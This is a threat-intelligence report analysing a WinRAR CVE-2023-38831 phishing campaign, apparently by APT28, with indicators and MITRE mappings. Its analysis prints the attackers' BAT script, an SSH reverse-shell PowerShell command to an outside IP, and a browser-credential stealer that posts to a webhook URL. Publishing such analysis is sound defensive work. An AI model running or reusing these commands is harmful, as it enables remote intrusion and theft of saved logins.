

# CVE-2023-38831 Exploited by Pro-Russia Hacking Groups in RU-UA Conflict Zone for Credential Harvesting Operations

 [blog.cluster25.duskri.se.com/2023/10/12/cve-2023-38831-russian-attack](https://blog.cluster25.duskri.se.com/2023/10/12/cve-2023-38831-russian-attack)

Cluster25 Threat Intel Team

By Cluster25 Threat Intel Team

October 12, 2023



Cluster25 observed and analyzed several phishing-based attacks to be linked to a Russia-nexus nation-State threat actor. The attack involves the use of malicious archive files that exploit the recently discovered vulnerability affecting the WinRAR compression software versions prior to 6.23 and traced as CVE-2023-38831.

The lure file consists in a PDF document, contained in the archive, that shows a list of Indicator of Compromise (IoCs) with domain names and hashes related to different malware, including SmokeLoader, Nanocore RAT, Crimson RAT and AgentTesla. Due to the vulnerability, the click on the PDF file causes a BAT script to be executed, which launches PowerShell commands to open a reverse shell that gives the attacker the access to the targeted machine and a PowerShell script that steals data, including login credentials, from the Google Chrome and Microsoft Edge browsers. To exfiltrate the data, attackers uses the legit web service `webhook[.]site`.

## INSIGHTS

The lure sample is an archive file named `IOC_09_11.rar`, probably with the intention of masquerading itself as a file to be used to share Indicators of Compromise (IoCs). The archive is crafted to exploit the WinRAR vulnerability traced as CVE-2023-38831: it contains a bogus PDF file named `IOC_09_11.pdf` with a trailing space character in its filename and a directory with the same name (including the trailing space) with the file named `"IOC_09_11.pdf .cmd"`, which is a BAT script.

IOC_09_11.rar - ZIP archive, unpacked size 274,197 bytes					
Name	Size	Packed	Type	Modified	CRC32
..			Local Disk		
IOC_09_11.pdf			File folder	9/10/2023 11:34 PM	
IOC_09_11.pdf	267,296	236,382	File	9/10/2023 11:34 PM	7670AA67

IOC_09_11.rar\IOC_09_11.pdf - ZIP archive, unpacked size 274,197 bytes					
Name	Size	Packed	Type	Modified	CRC32
..			Local Disk		
IOC_09_11.pdf .cmd	6,901	3,244	Windows Comma...	9/10/2023 11:34 PM	AB0F8F2F

Content of the malicious RAR file

Due to the vulnerability, if the victim user has an installed version of the WinRAR software prior to **6.23**, the opening of the bogus PDF file causes the BAT script to be executed. The BAT script first launches a background command of **WinRAR** to extract its content in the **%TEMP%** directory, then it deletes the script file from it and opens the PDF file to show the lure to the victim. The latter shows a list of IoCs containing domain names and hashes related to different malware, including **SmokeLoader**, **Nanocore RAT**, **Crimson RAT** and **AgentTesla**.

Activity	Type	IOC	Attribution
Network activity	domain	arkseven7003.ddns.net	Nanocore RAT
Network activity	domain	tadogem.com	Amadey
Network activity	domain	hghfe.cf	Loki Password Stealer (PWS)
Network activity	domain	doved.top	Mirai
Network activity	domain	dremmfyttrred.com	Silence
Network activity	domain	wexonlake.com	ROMCOM RAT
Network activity	domain	ahadedyokleylolfes3.net	Hydra
Network activity	domain	ahgoleesferyesneyses3.net	Hydra
Network activity	domain	vardosnedosnes.net	Hydra
Network activity	domain	blahadfurtik.com	NetSupportManager RAT
Network activity	domain	richa-sharma.ddnsa.net	Crimson RAT
Payload delivery	sha256	84ea8dc3885c28995d5c5f3c69c96b	SmokeLoader
Payload delivery	sha256	37550665c75acf1880e191263f6eda	SmokeLoader
Payload delivery	sha256	13125a49dfb2971f826397b0d06468	SmokeLoader
Payload delivery	sha256	50aaf03287b0e6f57de53663003cca	SmokeLoader
Payload delivery	sha256	b81cb346d82f480cfcb99112cfad4eC	SmokeLoader
Payload delivery	sha256	c1a18c3388e72dba050ac9cdbcb7a5	SmokeLoader
Payload delivery	sha256	3a4a8714b191d618e16eac20cb8c3:	SmokeLoader
Payload delivery	sha256	2d5e2fcf7ef5d9180bef23b260cef8c:	SmokeLoader
Payload delivery	sha256	7ec02c57f746e6abb650023709b77:	SmokeLoader
Payload delivery	sha256	9dcd0551edf5ce48afd68229d11e18	SmokeLoader
Payload delivery	sha256	f9ca2a64d4681a298575931631629t	SmokeLoader
Payload delivery	sha256	c591cdb45c7c078e16f8e985031012	SmokeLoader
Payload delivery	sha256	f713c2884427c77759395a37c3ca93	SmokeLoader
Payload delivery	sha256	4b694fa9bf594eabbd77fbc039e2d	SmokeLoader
Payload delivery	sha256	627a1d5d9c8cd86ed5835fd27998a:	SmokeLoader
Payload delivery	sha256	06e27383bea8dc1b2e86c4d9ef169c	SmokeLoader
Payload delivery	sha256	5e27d100d429bf0c901635a751427(	SmokeLoader
Payload delivery	sha256	7107905bd48a3b97139a7af7b378f4	SmokeLoader
Payload delivery	sha256	754366acb89b43b49592583ab8038	SmokeLoader
Payload delivery	sha256	693c8ec0a0bd7200cdaaee4b7abe1e	SmokeLoader
Payload delivery	sha256	c2f95710ece8c278951b97b4a4ccbd	SmokeLoader
Payload delivery	sha256	3ebd93edf768b619f46af101d8ae60	SmokeLoader
Payload delivery	sha256	5b960ed637028f60f45aa30ee0618a	SmokeLoader
Payload delivery	sha256	3cebb10edec1d6b1c196b274fd6241	SmokeLoader
Payload delivery	sha256	08f902848463da28a4e08f54f347ee	SmokeLoader

*Content of lure PDF document used by attackers*

Then, the script begins the malicious activity, launching three **PowerShell** commands.

```
@echo off
"%ProgramFiles%\WinRAR\WinRAR.exe" e -ibck "IOC_09_11.rar" *.* %TEMP%\
del "%TEMP%\IOC_09_11.pdf .cmd"
"%TEMP%\IOC_09_11.pdf"
powershell -c "Set-Content -Path \"$(env:LOCALAPPDATA)\Temp\rsakey\" -Value \"-----BEGIN RSA PRIVATE
powershell -c "$port=get-random -Minimum 10760 -Maximum 11290;start-process ssh.exe -windowstyle Hidden
powershell -windowstyle hidden -encodedCommand "QQBkAGQALQBUAHkAcABlACAALQ8BAHMAcWBLAG0AYgBsAHKATgBhAG0A
timeout 3
del "%TEMP%\IOC_09_11.pdf"
```

*Content of .bat script used in the kill-chain*

The first command writes a **Private RSA Key** in the file **rsakey** under the directory **%LOCALAPPDATA%\Temp**. The file is used by the second command to open a **reverse shell** that gives the attacker access to the targeted machine, using the **SSH tool** with the TCP port **443** at the IP address **216.66.35[.]145**.

```
powershell -c "$port=get-random -Minimum 10760 -Maximum 11290;start-process ssh.exe -windowstyle Hidden -ArgumentList \"-N -p443 root@216.66.35.145 -R 216.66.35.145:$port -i $($env:LOCALAPPDATA)\Temp\rsakey -oPubkeyAcceptedKeyTypes=ssh-rsa -oStrictHostKeyChecking=no\" -PassThru"
```

*Code snippet of PowerShell code used in the kill-chain*

The third command executes a Base64-encoded string that once decoded shows the following PowerShell script:

```
Add-Type -AssemblyName System.Text.Encoding;
Add-Type -AssemblyName System.Security;
$hook="http://webhook.site/e2831741-d8c8-4971-9464-e52d34f9d611";
$dataPath="$($env:LOCALAPPDATA)\Google\Chrome\User Data\Default>Login Data";
$localStatePath = "$($env:LOCALAPPDATA)\Google\Chrome\User Data\Local State";
$localStateJson= Get-Content $localStatePath -Raw | ConvertFrom-Json;
```

*Redacted second-stage code snippet of PowerShell code used in the kill-chain*

The script retrieves and decrypts the data, including the **Login credentials**, from the **Google Chrome** and **Microsoft Edge** browsers, then it sends it to the threat actor using the legit **Webhook.site** service, which allows users to set a **unique URL** and to obtain a log of requests or emails sent to it, so to inspect their content. The script performs a **POST request** with the retrieved data to the following URL, containing the unique token owned by the attacker:

## WEBHOOK URL

[http://webhook\[.\]site/e2831741-d8c8-4971-9464-e52d34f9d611](http://webhook[.]site/e2831741-d8c8-4971-9464-e52d34f9d611)

According to the Cluster25 visibility and considering the sophistication of the infection chain, the attack could be related with low-to-mid confidence to the Russian state-sponsored group APT28 (aka Fancy Bear, Sednit).

## MITRE ATT&CK MATRIX

TACTIC	TECHNIQUE	DESCRIPTION
Initial Access	T1566.001	Phishing: Spearphishing Attachment
Execution	T1059.003	Command and Scripting Interpreter: Windows Command Shell
Execution	T1204.002	User Execution: Malicious File
Defense Evasion	T1140	Deobfuscate/Decode Files or Information

Defense Evasion	T1036	Masquerading
Discovery	T1082	System Information Discovery
Collection	T1005	Data from Local System
Command and Control	T1105	Ingress Tool Transfer
Command and Control	T1071	Application Layer Protocol
Command and Control	T1102	Web Service
Exfiltration	T1567	Exfiltration Over Web Service

## INDICATORS OF COMPROMISE

CATEGORY	TYPE	VALUE
PAYLOAD	SHA256	072afea7cae714b44c24c16308da0ef0e5aab36b7a601b310d12f8b925f359e7
PAYLOAD	SHA1	9e630c9879e62dc801ac01af926fbc6d372c8416
PAYLOAD	MD5	89939a43c56fe4ce28936ee76a71ccb0
PAYLOAD	SHA256	91dec1160f3185cec4cb70fee0037ce3a62497e830330e9ddc2898f45682f63a
PAYLOAD	SHA1	bd44774417ba5342d30a610303cde6c2f6a54f64
PAYLOAD	MD5	9af76e61525fe6c89fe929ac5792ab62
NETWORK	IPv4	216[.]66[.]35[.]145
NETWORK	URL	http://webhook[.]site/e2831741-d8c8-4971-9464-e52d34f9d611

Malware, Intelligence, APT, apt28